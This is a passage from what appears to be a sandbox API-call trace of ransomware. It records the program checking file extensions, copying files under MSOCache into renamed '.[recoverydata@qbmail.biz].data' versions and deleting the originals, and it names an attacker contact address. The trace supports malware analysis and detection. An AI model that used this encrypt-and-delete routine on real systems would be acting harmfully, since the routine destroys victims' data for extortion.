[0096.458] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0096.458] lstrlenW (lpString=".bz2") returned 4 [0096.458] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0096.458] lstrlenW (lpString=".7z") returned 3 [0096.458] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0096.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.458] lstrlenW (lpString=".dbf") returned 4 [0096.458] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0096.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.458] lstrlenW (lpString=".1cd") returned 4 [0096.458] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0096.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.458] lstrlenW (lpString=".jpg") returned 4 [0096.458] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.459] lstrlenW (lpString=".doc") returned 4 [0096.459] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString=".docx") returned 5 [0096.459] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0096.459] lstrlenW (lpString=".pdf") returned 4 [0096.459] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString=".xls") returned 4 [0096.459] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString=".xlsx") returned 5 [0096.459] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0096.459] lstrlenW (lpString=".ppt") returned 4 [0096.459] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.459] lstrlenW (lpString=".zip") returned 4 [0096.459] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString=".rar") returned 4 [0096.459] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0096.459] lstrlenW (lpString=".bz2") returned 4 [0096.459] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0096.460] lstrlenW (lpString=".7z") returned 3 [0096.460] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0096.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.460] lstrlenW (lpString=".dbf") returned 4 [0096.460] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0096.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.460] lstrlenW (lpString=".1cd") returned 4 [0096.460] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0096.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.460] lstrlenW (lpString=".jpg") returned 4 [0096.460] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0096.460] lstrcmpiW (lpString1=".EXE", lpString2=".data") returned 1 [0096.460] lstrlenW (lpString="DW20.EXE") returned 8 [0096.460] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0096.503] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=838536) returned 1 [0096.503] CloseHandle (hObject=0x220) returned 1 [0096.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0096.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0096.510] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.510] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.511] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0096.511] GetLastError () returned 0x0 [0096.511] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xccb88, lpOverlapped=0x0) returned 1 [0096.822] WriteFile (in: hFile=0x224, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0096.950] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.950] WriteFile (in: hFile=0x224, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0096.951] SetEndOfFile (hFile=0x224) returned 1 [0096.951] CloseHandle (hObject=0x224) returned 1 [0096.951] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.951] SetEndOfFile (hFile=0x220) returned 1 [0097.028] CloseHandle (hObject=0x220) returned 1 [0097.029] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.029] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0097.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.030] lstrlenW (lpString=".doc") returned 4 [0097.030] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0097.030] lstrlenW (lpString=".docx") returned 5 [0097.030] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0097.030] lstrlenW (lpString=".pdf") returned 4 [0097.031] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0097.031] lstrlenW (lpString=".xls") returned 4 [0097.031] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0097.031] lstrlenW (lpString=".xlsx") returned 5 [0097.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0097.031] lstrlenW (lpString=".ppt") returned 4 [0097.031] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0097.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.031] lstrlenW (lpString=".zip") returned 4 [0097.031] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0097.032] lstrlenW (lpString=".rar") returned 4 [0097.032] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0097.032] lstrlenW (lpString=".bz2") returned 4 [0097.032] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0097.032] lstrlenW (lpString=".7z") returned 3 [0097.032] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0097.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.032] lstrlenW (lpString=".dbf") returned 4 [0097.032] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0097.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.033] lstrlenW (lpString=".1cd") returned 4 [0097.033] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0097.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.033] lstrlenW (lpString=".jpg") returned 4 [0097.033] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0097.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.034] lstrlenW (lpString=".doc") returned 4 [0097.034] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0097.034] lstrlenW (lpString=".docx") returned 5 [0097.034] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0097.034] lstrlenW (lpString=".pdf") returned 4 [0097.034] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0097.034] lstrlenW (lpString=".xls") returned 4 [0097.034] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0097.034] lstrlenW (lpString=".xlsx") returned 5 [0097.035] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0097.035] lstrlenW (lpString=".ppt") returned 4 [0097.035] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0097.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.035] lstrlenW (lpString=".zip") returned 4 [0097.035] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0097.035] lstrlenW (lpString=".rar") returned 4 [0097.035] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0097.035] lstrlenW (lpString=".bz2") returned 4 [0097.035] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0097.036] lstrlenW (lpString=".7z") returned 3 [0097.036] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0097.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.036] lstrlenW (lpString=".dbf") returned 4 [0097.036] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0097.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.036] lstrlenW (lpString=".1cd") returned 4 [0097.036] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0097.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0097.036] lstrlenW (lpString=".jpg") returned 4 [0097.037] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0097.037] lstrcmpiW (lpString1=".manifest", lpString2=".data") returned 1 [0097.037] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0097.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0097.038] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=1857) returned 1 [0097.038] CloseHandle (hObject=0x220) returned 1 [0097.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0097.039] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.039] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0097.039] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.039] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.039] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0097.041] GetLastError () returned 0x0 [0097.041] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x741, lpOverlapped=0x0) returned 1 [0097.052] WriteFile (in: hFile=0x18c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0x750, lpOverlapped=0x0) returned 1 [0097.084] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.084] WriteFile (in: hFile=0x18c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0x10a, lpOverlapped=0x0) returned 1 [0097.088] SetEndOfFile (hFile=0x18c) returned 1 [0097.088] CloseHandle (hObject=0x18c) returned 1 [0097.088] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.088] SetEndOfFile (hFile=0x220) returned 1 [0097.089] CloseHandle (hObject=0x220) returned 1 [0097.089] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.090] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0097.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.090] lstrlenW (lpString=".doc") returned 4 [0097.090] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0097.090] lstrlenW (lpString=".docx") returned 5 [0097.090] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0097.090] lstrlenW (lpString=".pdf") returned 4 [0097.090] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0097.090] lstrlenW (lpString=".xls") returned 4 [0097.090] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0097.090] lstrlenW (lpString=".xlsx") returned 5 [0097.090] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0097.090] lstrlenW (lpString=".ppt") returned 4 [0097.090] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0097.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.090] lstrlenW (lpString=".zip") returned 4 [0097.091] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString=".rar") returned 4 [0097.091] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString=".bz2") returned 4 [0097.091] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString=".7z") returned 3 [0097.091] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0097.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.091] lstrlenW (lpString=".dbf") returned 4 [0097.091] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.091] lstrlenW (lpString=".1cd") returned 4 [0097.091] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.091] lstrlenW (lpString=".jpg") returned 4 [0097.091] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.091] lstrlenW (lpString=".doc") returned 4 [0097.091] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString=".docx") returned 5 [0097.091] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0097.091] lstrlenW (lpString=".pdf") returned 4 [0097.091] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString=".xls") returned 4 [0097.091] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0097.091] lstrlenW (lpString=".xlsx") returned 5 [0097.092] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0097.092] lstrlenW (lpString=".ppt") returned 4 [0097.092] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0097.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.092] lstrlenW (lpString=".zip") returned 4 [0097.092] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0097.092] lstrlenW (lpString=".rar") returned 4 [0097.092] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0097.092] lstrlenW (lpString=".bz2") returned 4 [0097.092] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0097.092] lstrlenW (lpString=".7z") returned 3 [0097.092] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0097.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.092] lstrlenW (lpString=".dbf") returned 4 [0097.092] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0097.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.092] lstrlenW (lpString=".1cd") returned 4 [0097.092] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0097.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0097.092] lstrlenW (lpString=".jpg") returned 4 [0097.092] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0097.092] lstrcmpiW (lpString1=".dll", lpString2=".data") returned 1 [0097.093] lstrlenW (lpString="msvcr90.dll") returned 11 [0097.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0097.093] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=655872) returned 1 [0097.093] CloseHandle (hObject=0x220) returned 1 [0097.093] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0097.093] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0097.093] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.094] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.094] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0097.094] GetLastError () returned 0x0 [0097.094] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xa0200, lpOverlapped=0x0) returned 1 [0097.136] WriteFile (in: hFile=0x18c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0097.156] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.156] WriteFile (in: hFile=0x18c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0097.156] SetEndOfFile (hFile=0x18c) returned 1 [0097.156] CloseHandle (hObject=0x18c) returned 1 [0097.156] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.157] SetEndOfFile (hFile=0x220) returned 1 [0097.346] CloseHandle (hObject=0x220) returned 1 [0097.346] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.346] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0097.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.681] lstrlenW (lpString=".doc") returned 4 [0097.681] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.681] lstrlenW (lpString=".docx") returned 5 [0097.681] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0097.681] lstrlenW (lpString=".pdf") returned 4 [0097.681] lstrcmpiW (lpString1=".pdf", 